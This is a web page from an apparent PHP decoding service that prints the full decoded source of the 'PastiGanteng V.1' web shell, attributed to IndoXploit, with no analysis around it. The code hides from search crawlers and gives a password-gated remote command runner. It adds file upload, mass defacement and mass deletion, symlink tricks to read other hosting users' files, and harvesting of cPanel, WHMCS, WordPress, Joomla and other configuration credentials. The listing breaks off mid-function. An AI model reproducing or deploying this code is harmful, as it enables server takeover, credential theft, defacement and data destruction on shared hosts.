Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // Xmall75 - Security Cyber Art // PastiGanteng V.1 Shell // Remake and Recode ..

Decoded Output download

session_start();
error_reporting(0);
set_time_limit(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);

$color = "#00ff00";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'UTF-8';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

function login_shell() {
?>
<html>
<head>
<title>Gue Ganteng ~TQ</title>
<style type="text/css">
html {
	margin: 20px auto;
	background: #000000;
	text-align: center;
}
header {
	margin: 10px auto;
	color: lightblue;
	font-family: Arial;
}
input[type=password] {
	width: 250px;
	height: 25px;
	color: red;
	background: #000000;
	border: 1px solid #333;
	padding: 5px;
	text-align: center;
	transition: box-shadow 0.4s ease-out, border 0.4s ease-out;
	-webkit-transition: box-shadow 0.4s ease-out, border 0.4s ease-out;
	-moz-transition: box-shadow 0.4s ease-out, border 0.4s ease-out;
	-ms-transition: box-shadow 0.4s ease-out, border 0.4s ease-out;
}

input[type=password]:focus {
	box-shadow: 0px 0px 5px #cc0000, 0px 0px 15px #ff0000, 0px 0px 25px #ff0000, 0px 0px 35px #cc0000;
	border: 1px solid #ff0000;
}

</style>
</head>
<center>
<header>
<h2>
PastiGanteng V.1 Shell
<br>
<br>
<img src="https://scontent-sin6-2.xx.fbcdn.net/v/t1.0-9/17796664_1922183891333995_395507225586159207_n.jpg?oh=01d79c23a1198caab095d950928816fb&oe=59F3F806" width="300px" height="300px">
</h2>
</header>
<form method="post">
<input type="password" name="pass">
</form>
<?php
exit;
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
    if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        login_shell();
if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
    @ob_clean();
    $file = $_GET['file'];
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
?>
<html>
<head>
<title>PastiGanteng V.1 Shell</title>
<meta name='author' content='IndoXploit'>
<meta charset="UTF-8">
<style type='text/css'>
@import url(https://fonts.googleapis.com/css?family=Ubuntu);
html {
    background: #000000;
    color: gold;
    font-family: 'Ubuntu';
	font-size: 13px;
	width: 100%;
}
li {
	display: inline;
	margin: 5px;
}

table, th, td {
	border-collapse:collapse;
	font-family: Tahoma, Geneva, sans-serif;
	background: transparent;
	font-family: 'Ubuntu';
	font-size: 13px;
}
.table_home, .th_home, .td_home {
	border: 1px solid #333;
}

.th_home {
	background: #333;
	color: lightblue;
}

th {
	padding: 10px;
}

ul a {
	color: lightblue;
	text-decoration: none;
	background: #333;
	margin: 5px auto;
	padding: 5px;
	transition: background 0.4s ease;
	border-radius: 4px;
}

ul a:hover {
	opacity : 0.4;
	text-decoration: none;
	background: #999;
}

a {
	color: #ff0000;
	text-decoration: none;
}
a:hover {
	text-decoration: underline;
}

input[type=text], input[type=password],input[type=submit],input[type=file] {
	background: transparent; 
	color: #fff; 
	border: 1px solid #333; 
	margin: 5px auto;
	padding-left: 5px;
	font-family: 'Ubuntu';
	font-size: 13px;
}
textarea {
	border: 1px solid #333;
	width: 100%;
	height: 400px;
	padding-left: 5px;
	margin: 10px auto;
	resize: none;
	background: transparent;
	color: #ffffff;
	font-family: 'Ubuntu';
	font-size: 13px;
}
select {
	width: 152px;
	background: #000000; 
	color: lime; 
	border: 1px solid #333; 
	margin: 5px auto;
	padding-left: 5px;
	font-family: 'Ubuntu';
	font-size: 13px;
}
option:hover {
	background: #ff0000;
	color: #fff;
}
</style>
</head>
<?php
###############################################################################
// Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
// Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
// Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
// Tanpa kalian kita tidak akan BESAR seperti sekarang.
// Greetz: All Member IndoXploit. & all my friends.
###############################################################################
function w($dir,$perm) {
	if(!is_writable($dir)) {
		return "<font color=red>".$perm."</font>";
	} else {
		return "<font color=lime>".$perm."</font>";
	}
}
function r($dir,$perm) {
	if(!is_readable($dir)) {
		return "<font color=red>".$perm."</font>";
	} else {
		return "<font color=lime>".$perm."</font>";
	}
}
function exe($cmd) {
	if(function_exists('system')) { 		
		@ob_start(); 		
		@system($cmd); 		
		$buff = @ob_get_contents(); 		
		@ob_end_clean(); 		
		return $buff; 	
	} elseif(function_exists('exec')) { 		
		@exec($cmd,$results); 		
		$buff = ""; 		
		foreach($results as $result) { 			
			$buff .= $result; 		
		} return $buff; 	
	} elseif(function_exists('passthru')) { 		
		@ob_start(); 		
		@passthru($cmd); 		
		$buff = @ob_get_contents(); 		
		@ob_end_clean(); 		
		return $buff; 	
	} elseif(function_exists('shell_exec')) { 		
		$buff = @shell_exec($cmd); 		
		return $buff; 	
	} 
}
function perms($file){
	$perms = fileperms($file);
	if (($perms & 0xC000) == 0xC000) {
	// Socket
	$info = 's';
	} elseif (($perms & 0xA000) == 0xA000) {
	// Symbolic Link
	$info = 'l';
	} elseif (($perms & 0x8000) == 0x8000) {
	// Regular
	$info = '-';
	} elseif (($perms & 0x6000) == 0x6000) {
	// Block special
	$info = 'b';
	} elseif (($perms & 0x4000) == 0x4000) {
	// Directory
	$info = 'd';
	} elseif (($perms & 0x2000) == 0x2000) {
	// Character special
	$info = 'c';
	} elseif (($perms & 0x1000) == 0x1000) {
	// FIFO pipe
	$info = 'p';
	} else {
	// Unknown
	$info = 'u';
	}
		// Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
	// Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
	// World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));
	return $info;
}
function hdd($s) {
	if($s >= 1073741824)
	return sprintf('%1.2f',$s / 1073741824 ).' GB';
	elseif($s >= 1048576)
	return sprintf('%1.2f',$s / 1048576 ) .' MB';
	elseif($s >= 1024)
	return sprintf('%1.2f',$s / 1024 ) .' KB';
	else
	return $s .' B';
}
function ambilKata($param, $kata1, $kata2){
    if(strpos($param, $kata1) === FALSE) return FALSE;
    if(strpos($param, $kata2) === FALSE) return FALSE;
    $start = strpos($param, $kata1) + strlen($kata1);
    $end = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}
function getsource($url) {
    $curl = curl_init($url);
    		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    		curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    		curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    $content = curl_exec($curl);
    		curl_close($curl);
    return $content;
}
function bing($dork) {
	$npage = 1;
	$npages = 30000;
	$allLinks = array();
	$lll = array();
	while($npage <= $npages) {
	    $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
	    if($x) {
			preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
			foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
			$npage = $npage + 10;
			if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
		} else break;
	}
	$URLs = array();
	foreach($allLinks as $url){
	    $exp = explode("/", $url);
	    $URLs[] = $exp[2];
	}
	$array = array_filter($URLs);
	$array = array_unique($array);
 	$sss = count(array_unique($array));
	foreach($array as $domain) {
		echo $domain."
";
	}
}
function reverse($url) {
	$ch = curl_init("http://domains.yougetsignal.com/domains.php");
		  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
		  curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
		  curl_setopt($ch, CURLOPT_HEADER, 0);
		  curl_setopt($ch, CURLOPT_POST, 1);
	$resp = curl_exec($ch);
	$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
	$array = explode(",,", $resp);
	unset($array[0]);
	foreach($array as $lnk) {
		$lnk = "http://$lnk";
		$lnk = str_replace(",", "", $lnk);
		echo $lnk."
";
		ob_flush();
		flush();
	}
		curl_close($ch);
}
if(get_magic_quotes_gpc()) {
	function idx_ss($array) {
		return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
	}
	$_POST = idx_ss($_POST);
	$_COOKIE = idx_ss($_COOKIE);
}

if(isset($_GET['dir'])) {
	$dir = $_GET['dir'];
	chdir($dir);
} else {
	$dir = getcwd();
}
$kernel = php_uname();
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$dir = str_replace("\","/",$dir);
$scdir = explode("/", $dir);
$freespace = hdd(disk_free_space("/"));
$total = hdd(disk_total_space("/"));
$used = $total - $freespace;
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
$ds = @ini_get("disable_functions");
$mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
if(!function_exists('posix_getegid')) {
	$user = @get_current_user();
	$uid = @getmyuid();
	$gid = @getmygid();
	$group = "?";
} else {
	$uid = @posix_getpwuid(posix_geteuid());
	$gid = @posix_getgrgid(posix_getegid());
	$user = $uid['name'];
	$uid = $uid['uid'];
	$group = $gid['name'];
	$gid = $gid['gid'];
}
echo "<center><span style='color: #eee; font-size: 30px; font-weight: bold;'>PastiGanteng Shell</span></center>";
echo "<hr color='#333'>";
echo "<center>";
echo "System: <font color=red>".$kernel."</font><br>";
echo "User: <font color=red>".$user."</font> (".$uid.") Group: <font color=red>".$group."</font> (".$gid.")<br>";
echo "Server IP: <font color=red>".$ip."</font> | Your IP: <font color=red>".$_SERVER['REMOTE_ADDR']."</font><br>";
echo "HDD: <font color=red>$used</font> / <font color=red>$total</font> ( Free: <font color=lime>$freespace</font> )<br>";
echo "Safe Mode: $sm<br>";
echo "Disable Functions: $show_ds<br>";
echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
echo "</center>";
echo "<br>";
echo "<form method='post'>
	<font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
	<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
	</form>";
	if($_POST['do_cmd']) {
		echo "<pre>".exe($_POST['cmd'])."</pre>";
	}
echo "<form method='post' enctype='multipart/form-data'>
	<input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ] 
	<input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
	<input type='file' name='ix_file'>
	<input type='submit' value='upload' name='upload'>
	</form>";
if($_POST['upload']) {
		if($_POST['tipe_upload'] == 'biasa') {
			if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
				$act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
			} else {
				$act = "<font color=red>failed to upload file</font>";
			}
		} else {
			$root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
			$web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
			if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
				if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
					$act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
				} else {
					$act = "<font color=red>failed to upload file</font>";
				}
			} else {
				$act = "<font color=red>failed to upload file</font>";
			}
		}
	}
echo "<hr>";
echo "<center>";
echo "Current DIR: ";
foreach($scdir as $c_dir => $cdir) {	
	echo "<a href='?dir=";
	for($i = 0; $i <= $c_dir; $i++) {
		echo $scdir[$i];
		if($i != $c_dir) {
		echo "/";
		}
	}
	echo "'>$cdir</a>/";
}
echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]";
echo "<br>";
echo "<br>";
echo "<ul>";
echo "<li><a href='?dir=$dir&do=mass_deface'>Mass Deface</a></li>";
echo "<li><a href='?dir=$dir&do=mass_delete'>Mass Delete</a></li>";
echo "<li><a href='?dir=$dir&do=symlink'>Symlink</a></li>";
echo "<li><a href='?dir=$dir&do=config'>Config</a></li>";
echo "<li><a href='?dir=$dir&do=vhost'>vHost Config</a></li>";
echo "<li><a href='?dir=$dir&do=jumping'>Jumping</a></li>";
echo "<li><a href='?dir=$dir&do=cpanel'>CPanel Crack</a></li>";
echo "<li><a href='?dir=$dir&do=domain'>Domains Viewer</a></li>";
echo "<li><a href='?dir=$dir&do=server'>Server Info</a></li>";
echo "<li><a style='color: red; font-weight: bold;' href='?'>Home</a></li>";
echo "<br>";
echo "<br>";
echo "<li><a href='?dir=$dir&do=smtp'>SMTP Grabber</a></li>";
echo "<li><a href='?dir=$dir&do=zoneh'>Zone-H</a></li>";
echo "<li><a href='?dir=$dir&do=defid'>DefacerID</a></li>";
echo "<li><a href='?dir=$dir&do=reverseip'>Reverse IP</a></li>";
echo "<li><a href='?dir=$dir&do=cgi'>CGI Telnet</a></li>";
echo "<li><a href='?dir=$dir&do=network'>network</a></li>";
echo "<li><a href='?dir=$dir&do=adminer'>Adminer</a></li>";
echo "<li><a href='?dir=$dir&do=fake_root'>Fake Root</a></li>";
echo "<li><a href='?dir=$dir&do=hasher'>Password Hasher</a></li>";
echo "<li><a href='?dir=$dir&do=contact'>Contact</a></li>";
echo "<li><a style='color: red; font-weight: bold;' href='?dir=$dir&do=kill'>Kill</a></li>";
echo "<br>";
echo "<br>";
echo "<li><a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a></li>";
echo "<li><a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a></li>";
echo "<li><a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a></li>";
echo "<li><a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a></li>";
echo "<li><a href='?dir=$dir&do=cpftp_auto'>CPanel/FTP Auto Deface</a></li>";
echo "<li><a href='?dir=$dir&do=krdp_shell'>K-RDP Shell</a></li>";
echo "<li><a style='color: red; font-weight: bold;' href='?logout=true'>Logout</a></li>";
echo "</ul>";
echo "</center>";
echo "<hr>";
if($_GET['logout'] == true) {
	unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
	echo "<script>window.location='?';</script>";

} elseif($_GET['do'] == 'kill') {
	if(@unlink(preg_replace('!(d+)s.*!', '', __FILE__)))
			die('<center><br><center><h2>Shell removed</h2><br>Goodbye , Thanks for take my shell today</center></center>');
		else
			echo '<center>unlink failed!</center>';

} elseif($_GET['do'] == 'mass_deface') {
	function sabun_massal($dir,$namafile,$isi_script) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					file_put_contents($lokasi, $isi_script);
				} elseif($dirb === '..') {
					file_put_contents($lokasi, $isi_script);
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							echo "[<font color=lime>DONE</font>] $lokasi<br>";
							file_put_contents($lokasi, $isi_script);
							$idx = sabun_massal($dirc,$namafile,$isi_script);
						}
					}
				}
			}
		}
	}
	function sabun_biasa($dir,$namafile,$isi_script) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					file_put_contents($lokasi, $isi_script);
				} elseif($dirb === '..') {
					file_put_contents($lokasi, $isi_script);
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
							file_put_contents($lokasi, $isi_script);
						}
					}
				}
			}
		}
	}
	if($_POST['start']) {
		if($_POST['tipe_sabun'] == 'mahal') {
			echo "<div style='margin: 5px auto; padding: 5px'>";
			sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
			echo "</div>";
		} elseif($_POST['tipe_sabun'] == 'murah') {
			echo "<div style='margin: 5px auto; padding: 5px'>";
			sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
			echo "</div>";
		}
	} else {
	echo "<center>";
	echo "<form method='post'>
	<font style='text-decoration: underline;'>Tipe Sabun:</font><br>
	<input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
	<font style='text-decoration: underline;'>Folder:</font><br>
	<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
	<font style='text-decoration: underline;'>Filename:</font><br>
	<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
	<font style='text-decoration: underline;'>Index File:</font><br>
	<textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br>
	<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
	</form></center>";
	}
} elseif($_GET['do'] == 'mass_delete') {
	function hapus_massal($dir,$namafile) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					if(file_exists("$dir/$namafile")) {
						unlink("$dir/$namafile");
					}
				} elseif($dirb === '..') {
					if(file_exists("".dirname($dir)."/$namafile")) {
						unlink("".dirname($dir)."/$namafile");
					}
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							if(file_exists($lokasi)) {
								echo "[<font color=lime>DELETED</font>] $lokasi<br>";
								unlink($lokasi);
								$idx = hapus_massal($dirc,$namafile);
							}
						}
					}
				}
			}
		}
	}
	if($_POST['start']) {
		echo "<div style='margin: 5px auto; padding: 5px'>";
		hapus_massal($_POST['d_dir'], $_POST['d_file']);
		echo "</div>";
	} else {
	echo "<center>";
	echo "<form method='post'>
	<font style='text-decoration: underline;'>Folder:</font><br>
	<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
	<font style='text-decoration: underline;'>Filename:</font><br>
	<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
	<input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
	</form></center>";
	}

} elseif($_GET['do'] == 'symlink') {

	echo "<center><br><a style='border: 1px solid #333; background: #333; margin: 10px; padding: 10px; border-radius: 3px;' href='?dir=$dir&do=symlink2'> Symlink Server 2 </a><br><br><br><a style='border: 1px solid #333; background: #333; margin: 10px; padding: 10px; border-radius: 3px;' href='?dir=$dir&do=sym404'> Bypass Symlink 404 </a></center>";

} elseif($_GET['do'] == 'sym404') {

	echo "<form method='post'><br>File Target : <br><input type='text' name='dir' value='/home/user/public_html/wp-config.php'>
<br>Save As: <br><input type='text' name='jnck' value='ojayakan.txt'><input name='ojaykan' type='submit' value='>>'></form><br>";

@ini_set('display_errors', 0); 
if($_POST['ojaykan']){
rmdir("pastigans_sym404");mkdir("pastigans_sym404", 0777);
$dir = $_POST['dir'];
$jnck = $_POST['jnck'];
system("ln -s ".$dir." pastigans_sym404/".$jnck);
symlink($dir,"pastigans_sym404/".$jnck);
$inija = fopen("pastigans_sym404/.htaccess", "w");
fwrite($inija,"ReadmeName ".$jnck."
Options Indexes FollowSymLinks
DirectoryIndex ngeue.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
");
echo'<a href="pastigans_sym404/">Klik Gan >:(</a>';
}

} elseif($_GET['do'] == 'symlink2') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("pastigans_sym",0777);
@chdir("pastigans_sym");
@exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex pastigans.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<table align=center border=1 style='width:60%;border-color:#333333;'>
<tr>
<td align=center><font size=2>S. No.</font></td>
<td align=center><font size=2>Domains</font></td>
<td align=center><font size=2>Users</font></td>
<td align=center><font size=2>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='$full/pastigans_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("pastigans_sym",0777);
@chdir("pastigans_sym");
exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex pastigans.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);
 @fclose($fp3);
 echo "
 <table align=center border=1><tr>
 <td align=center><font size=3>S. No.</font></td>
 <td align=center><font size=3>Users</font></td>
 <td align=center><font size=3>Symlink</font></td></tr>";
 $dcount = 1;
 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
 while(!feof($file)){
 $s = fgets($file);
 $matches = array();
 $t = preg_match('//(.*?)://s', $s, $matches);
 $matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=$full/pastigans_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}fclose($file);
 echo "</table>";}else{if($os != "Windows"){@mkdir("pastigans_sym",0777);@chdir("pastigans_sym");@exe("ln -s / root");$file3 = '
 Options Indexes FollowSymLinks
DirectoryIndex pastigans.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
 echo "
 <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
 <table align=center border=1><tr>
 <td align=center><font size=3>ID</font></td>
 <td align=center><font size=3>Users</font></td>
 <td align=center><font size=3>Symlink</font></td></tr>";
 $temp = "";$val1 = 0;$val2 = 1000;
 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
 if ($uid)$temp .= join(':',$uid)."n";}
 echo '<br/>';$temp = trim($temp);$file5 =
 fopen("test.txt","w");
 fputs($file5,$temp);
 fclose($file5);$dcount = 1;$file =
 fopen("test.txt", "r") or exit("Unable to open file!");
 while(!feof($file)){$s = fgets($file);$matches = array();
 $t = preg_match('//(.*?)://s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=$full/pastigans_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}
 fclose($file);
 echo "</table></div></center>";unlink("test.txt");
 } else
 echo "<center><font size=3>Cannot create Symlink</font></center>";
 }
 }


} elseif($_GET['do'] == 'vhost') {
	echo "<form method='POST' action=''>";
	echo "<center><br><font size='6'>Bypass Symlink vHost</font><br><br>";
	echo "<center><input type='submit' value='Bypass it' name='Colii'></center>";
		if (isset($_POST['Colii'])){ system('ln -s / pastigans.txt');
			$fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';
			$file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $Bok3p = symlink("/","pastigans.txt");
			$rt="<br><a href=pastigans.txt TARGET='_blank'><font color=#ff0000 size=2 face='Courier New'><b>
	Bypassed Successfully</b></font></a>";
	echo "<br><br><b>Done.. !</b><br><br>Check link given below for / folder symlink <br>$rt</center>";} echo "</form>";
} elseif($_GET['do'] == 'config') {
	$etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
	$idx = mkdir("pastigans_config", 0777);
	$isi_htc = "Options allnRequire NonenSatisfy Any";
	$htc = fopen("pastigans_config/.htaccess","w");
	fwrite($htc, $isi_htc);
	while($passwd = fgets($etc)) {
		if($passwd == "" || !$etc) {
			echo "<font color=red>Can't read /etc/passwd</font>";
		} else {
			preg_match_all('/(.*?):x:/', $passwd, $user_config);
			foreach($user_config[1] as $user_pastigans) {
				$user_config_dir = "/home/$user_pastigans/public_html/";
				if(is_readable($user_config_dir)) {
					$grab_config = array(
						"/home/$user_pastigans/.my.cnf" => "cpanel",
						"/home/$user_pastigans/.accesshash" => "WHM-accesshash",
						"/home/$user_pastigans/public_html/vdo_config.php" => "Voodoo",
						"/home/$user_pastigans/public_html/bw-configs/config.ini" => "BosWeb",
						"/home/$user_pastigans/public_html/config/koneksi.php" => "Lokomedia",
						"/home/$user_pastigans/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
						"/home/$user_pastigans/public_html/clientarea/configuration.php" => "WHMCS",
						"/home/$user_pastigans/public_html/whm/configuration.php" => "WHMCS",
						"/home/$user_pastigans/public_html/whmcs/configuration.php" => "WHMCS",
						"/home/$user_pastigans/public_html/forum/config.php" => "phpBB",
						"/home/$user_pastigans/public_html/sites/default/settings.php" => "Drupal",
						"/home/$user_pastigans/public_html/config/settings.inc.php" => "PrestaShop",
						"/home/$user_pastigans/public_html/app/etc/local.xml" => "Magento",
						"/home/$user_pastigans/public_html/joomla/configuration.php" => "Joomla",
						"/home/$user_pastigans/public_html/configuration.php" => "Joomla",
						"/home/$user_pastigans/public_html/wp/wp-config.php" => "WordPress",
						"/home/$user_pastigans/public_html/wordpress/wp-config.php" => "WordPress",
						"/home/$user_pastigans/public_html/wp-config.php" => "WordPress",
						"/home/$user_pastigans/public_html/admin/config.php" => "OpenCart",
						"/home/$user_pastigans/public_html/slconfig.php" => "Sitelok",
						"/home/$user_pastigans/public_html/application/config/database.php" => "Ellislab");
					foreach($grab_config as $config => $nama_config) {
						$ambil_config = file_get_contents($config);
						if($ambil_config == '') {
						} else {
							$file_config = fopen("pastigans_config/$user_pastigans-$nama_config.txt","w");
							fputs($file_config,$ambil_config);
						}
					}
				}		
			}
		}	
	}
	echo "<center><a href='?dir=$dir/pastigans_config'><font color=blue>Done</font></a></center>";

} elseif($_GET['do'] == 'config') {
	$idx = mkdir("pastigans_config", 0777);
	$isi_htc = "Options FollowSymLinks MultiViews Indexes ExecCGI
Require None
Satisfy Any
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";
	$htc = fopen("pastigans_config/.htaccess","w");
